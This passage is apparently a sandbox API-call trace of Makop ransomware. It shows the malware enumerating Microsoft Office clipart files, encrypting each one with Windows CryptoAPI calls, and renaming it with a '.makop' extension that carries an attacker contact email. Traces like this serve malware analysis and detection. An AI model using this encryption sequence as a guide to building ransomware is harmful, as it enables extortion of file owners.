dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.269] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.269] GetProcessHeap () returned 0x48a0000 [0139.269] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.269] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.269] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.269] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.270] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.270] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.271] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.271] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.271] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.271] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.271] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.271] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f6c, lpOverlapped=0x0) returned 1 [0139.273] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f70, dwBufLen=0x4f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f70) returned 1 [0139.273] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.273] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f70, lpOverlapped=0x0) returned 1 [0139.273] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.274] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.274] SetEndOfFile (hFile=0xf0) returned 1 [0139.280] GetProcessHeap () returned 0x48a0000 [0139.280] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.280] GetProcessHeap () returned 0x48a0000 [0139.280] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.280] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.282] CloseHandle (hObject=0xf0) returned 1 [0139.282] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0139.282] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 63 [0139.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.287] GetProcessHeap () returned 0x48a0000 [0139.287] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.287] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.288] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.288] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.288] GetProcessHeap () returned 0x48a0000 [0139.288] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.288] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.288] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.288] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.292] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.292] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.293] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.293] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.293] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.293] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.293] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc10, lpOverlapped=0x0) returned 1 [0139.293] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc10, dwBufLen=0xc10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc10) returned 1 [0139.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.294] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc10, lpOverlapped=0x0) returned 1 [0139.294] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.294] SetEndOfFile (hFile=0xf0) returned 1 [0139.300] GetProcessHeap () returned 0x48a0000 [0139.300] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.300] GetProcessHeap () returned 0x48a0000 [0139.300] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.300] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.301] CloseHandle (hObject=0xf0) returned 1 [0139.302] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0139.302] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 63 [0139.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.302] GetProcessHeap () returned 0x48a0000 [0139.303] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.303] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.303] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.306] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.306] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.307] GetProcessHeap () returned 0x48a0000 [0139.307] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.307] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.307] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.308] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.308] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.308] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x938, lpOverlapped=0x0) returned 1 [0139.308] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x940, dwBufLen=0x940 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x940) returned 1 [0139.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x940, lpOverlapped=0x0) returned 1 [0139.309] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.309] SetEndOfFile (hFile=0xf0) returned 1 [0139.315] GetProcessHeap () returned 0x48a0000 [0139.315] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.315] GetProcessHeap () returned 0x48a0000 [0139.315] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.315] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.317] CloseHandle (hObject=0xf0) returned 1 [0139.317] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0139.317] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF") returned 63 [0139.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.318] GetProcessHeap () returned 0x48a0000 [0139.318] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.318] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.318] GetProcessHeap () returned 0x48a0000 [0139.318] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.318] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.319] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.319] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.323] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.323] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.324] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.324] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb60, lpOverlapped=0x0) returned 1 [0139.324] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb60, dwBufLen=0xb60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb60) returned 1 [0139.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb60, lpOverlapped=0x0) returned 1 [0139.325] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.325] SetEndOfFile (hFile=0xf0) returned 1 [0139.331] GetProcessHeap () returned 0x48a0000 [0139.331] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.332] GetProcessHeap () returned 0x48a0000 [0139.332] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.332] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.333] CloseHandle (hObject=0xf0) returned 1 [0139.334] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0139.334] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF") returned 63 [0139.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.335] GetProcessHeap () returned 0x48a0000 [0139.335] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.335] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.335] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.335] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 